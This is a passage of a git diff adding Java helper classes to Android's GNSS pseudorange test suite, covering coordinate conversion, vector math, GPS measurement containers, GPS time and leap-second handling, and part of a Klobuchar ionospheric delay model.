+      this.latitudeRadians = latitudeRadians;
+      this.longitudeRadians = longitudeRadians;
+      this.altitudeMeters = altitudeMeters;
+    }
+  }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/EcefToTopocentricConverter.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/EcefToTopocentricConverter.java
new file mode 100644
index 0000000..c2f5f78
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/EcefToTopocentricConverter.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Transformations from ECEF coordiantes to Topocentric coordinates
+ */
+public class EcefToTopocentricConverter {
+  private static final double MIN_DISTANCE_MAGNITUDE_METERS = 1.0e-22;
+  private static final int EAST_IDX = 0;
+  private static final int NORTH_IDX = 1;
+  private static final int UP_IDX = 2;
+
+  /**
+   * Transformation of {@code inputVectorMeters} with origin at {@code originECEFMeters} into
+   * topocentric coordinate system. The result is {@code TopocentricAEDValues} containing azimuth
+   * from north +ve clockwise, radians; elevation angle, radians; distance, vector length meters
+   *
+   * <p>Source: http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
+   * http://kom.aau.dk/~borre/life-l99/topocent.m
+   *
+   */
+  public static TopocentricAEDValues convertCartesianToTopocentericRadMeters(
+      final double[] originECEFMeters, final double[] inputVectorMeters) {
+
+    GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(originECEFMeters[0],
+        originECEFMeters[1], originECEFMeters[2]);
+
+    RealMatrix rotationMatrix =
+        Ecef2EnuConverter.
+            getRotationMatrix(latLngAlt.latitudeRadians, latLngAlt.longitudeRadians).transpose();
+    double[] eastNorthUpVectorMeters = GpsMathOperations.matrixByColVectMultiplication(
+        rotationMatrix.transpose().getData(), inputVectorMeters);
+    double eastMeters = eastNorthUpVectorMeters[EAST_IDX];
+    double northMeters = eastNorthUpVectorMeters[NORTH_IDX];
+    double upMeters = eastNorthUpVectorMeters[UP_IDX];
+
+    // calculate azimuth, elevation and height from the ENU values
+    double horizontalDistanceMeters = Math.hypot(eastMeters, northMeters);
+    double azimuthRadians;
+    double elevationRadians;
+
+    if (horizontalDistanceMeters < MIN_DISTANCE_MAGNITUDE_METERS) {
+      elevationRadians = Math.PI / 2.0;
+      azimuthRadians = 0;
+    } else {
+      elevationRadians = Math.atan2(upMeters, horizontalDistanceMeters);
+      azimuthRadians = Math.atan2(eastMeters, northMeters);
+    }
+    if (azimuthRadians < 0) {
+      azimuthRadians += 2 * Math.PI;
+    }
+
+    double distanceMeters = Math.sqrt(Math.pow(inputVectorMeters[0], 2)
+        + Math.pow(inputVectorMeters[1], 2) + Math.pow(inputVectorMeters[2], 2));
+    return new TopocentricAEDValues(elevationRadians, azimuthRadians, distanceMeters);
+  }
+
+  /**
+   * Calculate azimuth, elevation in radians,and distance in meters between the user position in
+   * ECEF meters {@code userPositionECEFMeters} and the satellite position in ECEF meters
+   * {@code satPositionECEFMeters}
+   */
+  public static TopocentricAEDValues calculateElAzDistBetween2Points(
+      double[] userPositionECEFMeters, double[] satPositionECEFMeters) {
+
+    return convertCartesianToTopocentericRadMeters(userPositionECEFMeters,
+        GpsMathOperations.subtractTwoVectors(satPositionECEFMeters, userPositionECEFMeters));
+
+  }
+
+  /**
+   *
+   * Class containing topocenter coordinates: azimuth in radians, elevation in radians, and distance
+   * in meters
+   */
+  public static class TopocentricAEDValues {
+
+    public final double elevationRadians;
+    public final double azimuthRadians;
+    public final double distanceMeters;
+
+    public TopocentricAEDValues(double elevationRadians, double azimuthRadians,
+        double distanceMeters) {
+      this.elevationRadians = elevationRadians;
+      this.azimuthRadians = azimuthRadians;
+      this.distanceMeters = distanceMeters;
+    }
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMathOperations.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMathOperations.java
new file mode 100644
index 0000000..502c0e9
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMathOperations.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+
+/**
+ * Helper class containing the basic vector and matrix operations used for calculating the position
+ * solution from pseudoranges
+ * TODO: use standard matrix library to replace the operations in this class.
+ *
+ */
+public class GpsMathOperations {
+
+  /**
+   * Calculates the norm of a vector
+   */
+  public static double vectorNorm(double[] inputVector) {
+    double normSqured = 0;
+    for (int i = 0; i < inputVector.length; i++) {
+      normSqured = Math.pow(inputVector[i], 2) + normSqured;
+    }
+
+    return Math.sqrt(normSqured);
+  }
+
+  /**
+   * Subtract two vectors {@code firstVector} - {@code secondVector}. Both vectors should be of the
+   * same length.
+   */
+  public static double[] subtractTwoVectors(double[] firstVector, double[] secondVector)
+      throws ArithmeticException {
+    double[] result = new double[firstVector.length];
+    if (firstVector.length != secondVector.length) {
+      throw new ArithmeticException("Input vectors are of different lengths");
+    }
+
+    for (int i = 0; i < firstVector.length; i++) {
+      result[i] = firstVector[i] - secondVector[i];
+    }
+
+    return result;
+  }
+
+  /**
+   * Multiply a matrix {@code matrix} by a column vector {@code vector}
+   * ({@code matrix} * {@code vector}) and return the resulting vector {@resultVector}.
+   * {@code matrix} and {@vector} dimensions must match.
+   */
+  public static double[] matrixByColVectMultiplication(double[][] matrix, double[] vector)
+      throws ArithmeticException {
+    double result[] = new double[matrix.length];
+    int matrixLength = matrix.length;
+    int vectorLength = vector.length;
+    if (vectorLength != matrix[0].length) {
+      throw new ArithmeticException("Matrix and vector dimensions do not match");
+    }
+
+    for (int i = 0; i < matrixLength; i++) {
+      for (int j = 0; j < vectorLength; j++) {
+        result[i] += matrix[i][j] * vector[j];
+      }
+    }
+
+    return result;
+  }
+
+  /**
+   * Dot product of a raw vector {@code firstVector} and a column vector {@code secondVector}.
+   * Both vectors should be of the same length.
+   */
+  public static double dotProduct(double[] firstVector, double[] secondVector)
+      throws ArithmeticException {
+    if (firstVector.length != secondVector.length) {
+      throw new ArithmeticException("Input vectors are of different lengths");
+    }
+    double result = 0;
+    for (int i = 0; i < firstVector.length; i++) {
+      result = firstVector[i] * secondVector[i] + result;
+    }
+    return result;
+  }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurement.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurement.java
new file mode 100644
index 0000000..1e98fd4
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurement.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * A container for the received GPS measurements for a single satellite.
+ *
+ * <p>The GPS receiver measurements includes: satellite PRN, accumulated delta range in meters,
+ * accumulated delta range state (boolean), pseudorange rate in meters per second, received signal
+ * to noise ratio dB, accumulated delta range uncertainty in meters, pseudorange rate uncertainty in
+ * meters per second.
+ */
+class GpsMeasurement {
+  /** Time since GPS week start (Nano seconds) */
+  public final long arrivalTimeSinceGpsWeekNs;
+
+  /** Accumulated delta range (meters) */
+  public final double accumulatedDeltaRangeMeters;
+
+  /** Accumulated delta range state */
+  public final boolean validAccumulatedDeltaRangeMeters; 
+
+  /** Pseudorange rate measurement (meters per second) */
+  public final double pseudorangeRateMps;  
+
+  /** Signal to noise ratio (dB) */
+  public final double signalToNoiseRatioDb;  
+
+  /** Accumulated Delta Range Uncertainty (meters) */
+  public final double accumulatedDeltaRangeUncertaintyMeters;
+
+  /** Pseudorange rate uncertainty (meter per seconds) */
+  public final double pseudorangeRateUncertaintyMps;
+  
+  public GpsMeasurement(long arrivalTimeSinceGpsWeekNs, double accumulatedDeltaRangeMeters,
+      boolean validAccumulatedDeltaRangeMeters, double pseudorangeRateMps,
+      double signalToNoiseRatioDb, double accumulatedDeltaRangeUncertaintyMeters,
+      double pseudorangeRateUncertaintyMps) {
+    this.arrivalTimeSinceGpsWeekNs = arrivalTimeSinceGpsWeekNs;
+    this.accumulatedDeltaRangeMeters = accumulatedDeltaRangeMeters;
+    this.validAccumulatedDeltaRangeMeters = validAccumulatedDeltaRangeMeters;
+    this.pseudorangeRateMps = pseudorangeRateMps;
+    this.signalToNoiseRatioDb = signalToNoiseRatioDb;
+    this.accumulatedDeltaRangeUncertaintyMeters = accumulatedDeltaRangeUncertaintyMeters;
+    this.pseudorangeRateUncertaintyMps = pseudorangeRateUncertaintyMps;
+  }  
+
+  protected GpsMeasurement(GpsMeasurement another) {
+    this(another.arrivalTimeSinceGpsWeekNs, another.accumulatedDeltaRangeMeters,
+        another.validAccumulatedDeltaRangeMeters, another.pseudorangeRateMps,
+        another.signalToNoiseRatioDb, another.accumulatedDeltaRangeUncertaintyMeters,
+        another.pseudorangeRateUncertaintyMps);
+  } 
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurementWithRangeAndUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurementWithRangeAndUncertainty.java
new file mode 100644
index 0000000..838edd0
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurementWithRangeAndUncertainty.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * A container for the received GPS measurements for a single satellite.
+ *
+ * <p>The container extends {@link GpsMeasurement} to additionally include
+ * {@link #pseudorangeMeters} and {@link #pseudorangeUncertaintyMeters}.
+ */
+class GpsMeasurementWithRangeAndUncertainty extends GpsMeasurement {
+
+  /** Pseudorange measurement (meters) */
+  public final double pseudorangeMeters;
+
+  /** Pseudorange uncertainty (meters) */
+  public final double pseudorangeUncertaintyMeters;
+  
+  public GpsMeasurementWithRangeAndUncertainty(GpsMeasurement another, double pseudorangeMeters,
+      double pseudorangeUncertaintyMeters) {
+    super(another);
+    this.pseudorangeMeters = pseudorangeMeters;
+    this.pseudorangeUncertaintyMeters = pseudorangeUncertaintyMeters;
+  } 
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsTime.java
new file mode 100644
index 0000000..1bc5950
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsTime.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.util.Pair;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Longs;
+import java.util.Calendar;
+import java.util.concurrent.TimeUnit;
+import java.time.ZoneId;
+import java.time.ZonedDateTime;
+import java.time.Instant;
+import java.util.GregorianCalendar;
+
+/**
+ * A simple class to represent time unit used by GPS.
+ */
+public class GpsTime implements Comparable<GpsTime> {
+  public static final int MILLIS_IN_SECOND = 1000;
+  public static final int SECONDS_IN_MINUTE = 60;
+  public static final int MINUTES_IN_HOUR = 60;
+  public static final int HOURS_IN_DAY = 24;
+  public static final int SECONDS_IN_DAY =
+      HOURS_IN_DAY * MINUTES_IN_HOUR * SECONDS_IN_MINUTE;
+  public static final int DAYS_IN_WEEK = 7;
+  public static final long MILLIS_IN_DAY = TimeUnit.DAYS.toMillis(1);
+  public static final long MILLIS_IN_WEEK = TimeUnit.DAYS.toMillis(7);
+  public static final long NANOS_IN_WEEK = TimeUnit.DAYS.toNanos(7);
+  // GPS epoch is 1980/01/06
+  public static final long GPS_DAYS_SINCE_JAVA_EPOCH = 3657;
+  public static final long GPS_UTC_EPOCH_OFFSET_SECONDS =
+      TimeUnit.DAYS.toSeconds(GPS_DAYS_SINCE_JAVA_EPOCH);
+  public static final long GPS_UTC_EPOCH_OFFSET_NANOS =
+      TimeUnit.SECONDS.toNanos(GPS_UTC_EPOCH_OFFSET_SECONDS);
+  private static final ZonedDateTime LEAP_SECOND_DATE_1981 = getZonedDateTimeUTC(1981, 7, 1);
+  private static final ZonedDateTime LEAP_SECOND_DATE_2012 = getZonedDateTimeUTC(2012, 7, 1);
+  private static final ZonedDateTime LEAP_SECOND_DATE_2015 = getZonedDateTimeUTC(2015, 7, 1);
+  private static final ZonedDateTime LEAP_SECOND_DATE_2017 = getZonedDateTimeUTC(2017, 7, 1);
+  private static final long nanoSecPerSec = TimeUnit.SECONDS.toNanos(7);
+  // nanoseconds since GPS epoch (1980/1/6).
+  private long gpsNanos;
+  private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day) {
+    return getZonedDateTimeUTC(year, month, day, 0, 0, 0, 0);
+  }
+
+  private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day,
+                                                int hour, int minute, int sec, int nanoSec){
+    ZoneId zone = ZoneId.of("UTC");
+    ZonedDateTime zdt = ZonedDateTime.of(year, month, day, hour, minute, sec, nanoSec, zone);
+    return zdt;
+  }
+
+  private static long getMillisFromZonedDateTime(ZonedDateTime zdt) {
+    return zdt.toInstant().toEpochMilli();
+  }
+  /**
+   * Constructor for GpsTime. Input values are all in GPS time.
+   * @param year Year
+   * @param month Month from 1 to 12
+   * @param day Day from 1 to 31
+   * @param hour Hour from 0 to 23
+   * @param minute Minute from 0 to 59
+   * @param second Second from 0 to 59
+   */
+  public GpsTime(int year, int month, int day, int hour, int minute, double second) {
+    ZonedDateTime utcDateTime = getZonedDateTimeUTC(year, month, day, hour, minute,
+        (int) second, (int) ((second * nanoSecPerSec) % nanoSecPerSec));
+
+
+    // Since input time is already specify in GPS time, no need to count leap second here.
+    initGpsNanos(utcDateTime);
+
+  }
+
+  /**
+   * Constructor
+   * @param zDateTime is created using GPS time values.
+   */
+  public GpsTime(ZonedDateTime zDateTime) {
+    initGpsNanos(zDateTime);
+  }
+
+  public void initGpsNanos(ZonedDateTime zDateTime){
+    this.gpsNanos = TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
+        - GPS_UTC_EPOCH_OFFSET_NANOS;
+  }
+  /**
+   * Constructor
+   * @param gpsNanos nanoseconds since GPS epoch.
+   */
+  public GpsTime(long gpsNanos) {
+    this.gpsNanos = gpsNanos;
+  }
+
+  /**
+   * Creates a GPS time using a UTC based date and time.
+   * @param zDateTime represents the current time in UTC time, must be after 2009
+   */
+  public static GpsTime fromUtc(ZonedDateTime zDateTime) {
+    return new GpsTime(TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
+            + TimeUnit.SECONDS.toNanos(
+                GpsTime.getLeapSecond(zDateTime) - GPS_UTC_EPOCH_OFFSET_SECONDS));
+  }
+
+  /**
+   * Creates a GPS time based upon the current time.
+   */
+  public static GpsTime now() {
+    ZoneId zone = ZoneId.of("UTC");
+    ZonedDateTime current = ZonedDateTime.now(zone);
+    return fromUtc(current);
+  }
+
+  /**
+   * Creates a GPS time using absolute GPS week number, and the time of week.
+   * @param gpsWeek
+   * @param towSec GPS time of week in second
+   * @return actual time in GpsTime.
+   */
+  public static GpsTime fromWeekTow(int gpsWeek, int towSec) {
+    long nanos = gpsWeek * NANOS_IN_WEEK + TimeUnit.SECONDS.toNanos(towSec);
+    return new GpsTime(nanos);
+  }
+
+  /**
+   * Creates a GPS time using YUMA GPS week number (0..1023), and the time of week.
+   * @param yumaWeek (0..1023)
+   * @param towSec GPS time of week in second
+   * @return actual time in GpsTime.
+   */
+  public static GpsTime fromYumaWeekTow(int yumaWeek, int towSec) {
+    Preconditions.checkArgument(yumaWeek >= 0);
+    Preconditions.checkArgument(yumaWeek < 1024);
+
+    // Estimate the multiplier of current week.
+    ZoneId zone = ZoneId.of("UTC");
+    ZonedDateTime current = ZonedDateTime.now(zone);
+    GpsTime refTime = new GpsTime(current);
+    Pair<Integer, Integer> refWeekSec = refTime.getGpsWeekSecond();
+    int weekMultiplier = refWeekSec.first / 1024;
+
+    int gpsWeek = weekMultiplier * 1024 + yumaWeek;
+    return fromWeekTow(gpsWeek, towSec);
+  }
+
+  public static GpsTime fromTimeSinceGpsEpoch(long gpsSec) {
+    return new GpsTime(TimeUnit.SECONDS.toNanos(gpsSec));
+  }
+
+  /**
+   * Computes leap seconds. Only accurate after 2009.
+   * @param time
+   * @return number of leap seconds since GPS epoch.
+   */
+  public static int getLeapSecond(ZonedDateTime time) {
+    if (LEAP_SECOND_DATE_2017.compareTo(time) <= 0) {
+      return 18;
+    } else if (LEAP_SECOND_DATE_2015.compareTo(time) <= 0) {
+      return 17;
+    } else if (LEAP_SECOND_DATE_2012.compareTo(time) <= 0) {
+      return 16;
+    } else if (LEAP_SECOND_DATE_1981.compareTo(time) <= 0) {
+      // Only correct between 2012/7/1 to 2008/12/31
+      return 15;
+    } else {
+      return 0;
+    }
+  }
+
+  /**
+   * Computes GPS weekly epoch of the reference time.
+   * <p>GPS weekly epoch are defined as of every Sunday 00:00:000 (mor
+   * @param refTime reference time
+   * @return nanoseconds since GPS epoch, for the week epoch.
+   */
+  public static Long getGpsWeekEpochNano(GpsTime refTime) {
+    Pair<Integer, Integer> weekSecond = refTime.getGpsWeekSecond();
+    return weekSecond.first * NANOS_IN_WEEK;
+  }
+
+  /**
+   * @return week count since GPS epoch, and second count since the beginning of
+   *         that week.
+   */
+  public Pair<Integer, Integer> getGpsWeekSecond() {
+    // JAVA/UNIX epoch: January 1, 1970 in msec
+    // GPS epoch: January 6, 1980 in second
+    int week = (int) (gpsNanos / NANOS_IN_WEEK);
+    int second = (int) TimeUnit.NANOSECONDS.toSeconds(gpsNanos % NANOS_IN_WEEK);
+    return Pair.create(week, second);
+  }
+
+  /**
+   * @return week count since GPS epoch, and second count in 0.08 sec
+   *         resolution, 23-bit presentation (required by RRLP.)"
+   */
+  public Pair<Integer, Integer> getGpsWeekTow23b() {
+    // UNIX epoch: January 1, 1970 in msec
+    // GPS epoch: January 6, 1980 in second
+    int week = (int) (gpsNanos / NANOS_IN_WEEK);
+    // 80 millis is 0.08 second.
+    int tow23b = (int) TimeUnit.NANOSECONDS.toMillis(gpsNanos % NANOS_IN_WEEK) / 80;
+    return Pair.create(week, tow23b);
+  }
+
+  /**
+   * @return Day of year in GPS time (GMT time)
+   */
+  public static int getCurrentDayOfYear() {
+    ZoneId zone = ZoneId.of("UTC");
+    ZonedDateTime current = ZonedDateTime.now(zone);
+    // Since current is derived from UTC time, we need to add leap second here.
+    long gpsTimeMillis = getMillisFromZonedDateTime(current)
+        + TimeUnit.SECONDS.toMillis(getLeapSecond(current));
+    ZonedDateTime gpsCurrent = ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsTimeMillis), ZoneId.of("UTC"));
+    return gpsCurrent.getDayOfYear();
+  }
+
+  /**
+   * @return milliseconds since JAVA/UNIX epoch.
+   */
+  public final long getMillisSinceJavaEpoch() {
+    return TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
+  }
+
+  /**
+   * @return milliseconds since GPS epoch.
+   */
+  public final long getMillisSinceGpsEpoch() {
+    return TimeUnit.NANOSECONDS.toMillis(gpsNanos);
+  }
+
+  /**
+   * @return microseconds since GPS epoch.
+   */
+  public final long getMicrosSinceGpsEpoch() {
+    return TimeUnit.NANOSECONDS.toMicros(gpsNanos);
+  }
+
+  /**
+   * @return nanoseconds since GPS epoch.
+   */
+  public final long getNanosSinceGpsEpoch() {
+    return gpsNanos;
+  }
+
+  /**
+   * @return the GPS time in Calendar.
+   */
+  public Calendar getTimeInCalendar() {
+    return GregorianCalendar.from(getGpsDateTime());
+  }
+
+  /**
+   * @return a ZonedDateTime with leap seconds considered.
+   */
+  public ZonedDateTime getUtcDateTime() {
+    ZonedDateTime gpsDateTime = getGpsDateTime();
+    long gpsMillis = getMillisFromZonedDateTime(gpsDateTime)
+        - TimeUnit.SECONDS.toMillis(getLeapSecond(gpsDateTime));
+    return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
+
+  }
+
+  /**
+   * @return a ZonedDateTime based on the pure GPS time (without considering leap second).
+   */
+  public ZonedDateTime getGpsDateTime() {
+    long gpsMillis = TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
+    return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
+  }
+
+  /**
+   * Compares two {@code GpsTime} objects temporally.
+   *
+   * @param   other   the {@code GpsTime} to be compared.
+   * @return  the value {@code 0} if this {@code GpsTime} is simultaneous with
+   *          the argument {@code GpsTime}; a value less than {@code 0} if this
+   *          {@code GpsTime} occurs before the argument {@code GpsTime}; and
+   *          a value greater than {@code 0} if this {@code GpsTime} occurs
+   *          after the argument {@code GpsTime} (signed comparison).
+   */
+  @Override
+  public int compareTo(GpsTime other) {
+    return Long.compare(this.getNanosSinceGpsEpoch(), other.getNanosSinceGpsEpoch());
+  }
+
+  @Override
+  public boolean equals(Object other) {
+    if (!(other instanceof GpsTime)) {
+      return false;
+    }
+    GpsTime time = (GpsTime) other;
+    return getNanosSinceGpsEpoch() == time.getNanosSinceGpsEpoch();
+  }
+
+  @Override
+  public int hashCode() {
+    return Longs.hashCode(getNanosSinceGpsEpoch());
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/IonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/IonosphericModel.java
new file mode 100644
index 0000000..6ddacfd
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/IonosphericModel.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.gnss.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
+
+/**
+ * Calculate the Ionospheric correction of the pseudorange given the {@code userPosition},
+ * {@code satellitePosition}, {@code gpsTimeSeconds} and the ionospheric parameters sent by the
+ * satellite {@code alpha} and {@code beta}
+ *
+ * <p>Source: http://www.navipedia.net/index.php/Klobuchar_Ionospheric_Model and
+ * http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4104345 and
+ * http://www.ion.org/museum/files/ACF2A4.pdf
+ */
+public class IonosphericModel {
+  /** Center frequency of the L1 band in Hz. */
+  public static final double L1_FREQ_HZ = 10.23 * 1e6 * 154;
+  /** Center frequency of the L2 band in Hz. */
+  public static final double L2_FREQ_HZ = 10.23 * 1e6 * 120;
+  /** Center frequency of the L5 band in Hz. */
+  public static final double L5_FREQ_HZ = 10.23 * 1e6 * 115;
+      
+  private static final double SECONDS_PER_DAY = 86400.0;
+  private static final double PERIOD_OF_DELAY_TRHESHOLD_SECONDS = 72000.0;
+  private static final double IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE = 0.416;
+  private static final double DC_TERM = 5.0e-9;
+  private static final double NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS = 5.08;
+  private static final double GEOMETRIC_LATITUDE_CONSTANT = 0.064;
+  private static final int DELAY_PHASE_TIME_CONSTANT_SECONDS = 50400;
+  private static final int IONO_0_IDX = 0;
+  private static final int IONO_1_IDX = 1;
+  private static final int IONO_2_IDX = 2;
+  private static final int IONO_3_IDX = 3;
+
+  /**
+   * Calculate the Ionospheric correction of the pseudorane in seconds using the Klobuchar
+   * Ionospheric model.
+   */
+  public static double ionoKloboucharCorrectionSeconds(
+      double[] userPositionECEFMeters,
+      double[] satellitePositionECEFMeters,
+      double gpsTOWSeconds,
+      double[] alpha,
+      double[] beta,
+      double frequencyHz) {
+
+    TopocentricAEDValues elevationAndAzimuthRadians = EcefToTopocentricConverter
+        .calculateElAzDistBetween2Points(userPositionECEFMeters, satellitePositionECEFMeters);
+    double elevationSemiCircle = elevationAndAzimuthRadians.elevationRadians / Math.PI;
+    double azimuthSemiCircle = elevationAndAzimuthRadians.azimuthRadians / Math.PI;
+    GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(
+        userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
+    double latitudeUSemiCircle = latLngAlt.latitudeRadians / Math.PI;
+    double longitudeUSemiCircle = latLngAlt.longitudeRadians / Math.PI;
+
+    // earth's centered angle (semi-circles)
+    double earthCentredAngleSemiCirle = 0.0137 / (elevationSemiCircle + 0.11) - 0.022;
+
+    // latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+    double latitudeISemiCircle =
+        latitudeUSemiCircle + earthCentredAngleSemiCirle * Math.cos(azimuthSemiCircle * Math.PI);
+
+    if (latitudeISemiCircle > IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
+      latitudeISemiCircle = IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
+    } else if (latitudeISemiCircle < -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
+      latitudeISemiCircle = -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
+    }
+
+    // geodetic longitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+    double longitudeISemiCircle = longitudeUSemiCircle + earthCentredAngleSemiCirle
+        * Math.sin(azimuthSemiCircle * Math.PI) / Math.cos(latitudeISemiCircle * Math.PI);
+
+    // geomagnetic latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+    double geomLatIPPSemiCircle = latitudeISemiCircle + GEOMETRIC_LATITUDE_CONSTANT
+        * Math.cos(longitudeISemiCircle * Math.PI - NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS);
+
+    // local time (sec) at the Ionospheric Pierce Point (IPP)
+    double localTimeSeconds = SECONDS_PER_DAY / 2.0 * longitudeISemiCircle + gpsTOWSeconds;
+    localTimeSeconds %= SECONDS_PER_DAY;
+    if (localTimeSeconds < 0) {
+      localTimeSeconds += SECONDS_PER_DAY;
+    }
+
+    // amplitude of the ionospheric delay (seconds)
+    double amplitudeOfDelaySeconds = alpha[IONO_0_IDX] + alpha[IONO_1_IDX] * geomLatIPPSemiCircle
+        + alpha[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + alpha[IONO_3_IDX]
+        * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
+    if (amplitudeOfDelaySeconds < 0) {
+      amplitudeOfDelaySeconds = 0;
+    }
+
+    // period of ionospheric delay
+    double periodOfDelaySeconds = beta[IONO_0_IDX] + beta[IONO_1_IDX] * geomLatIPPSemiCircle
+        + beta[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + beta[IONO_3_IDX]
+        * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
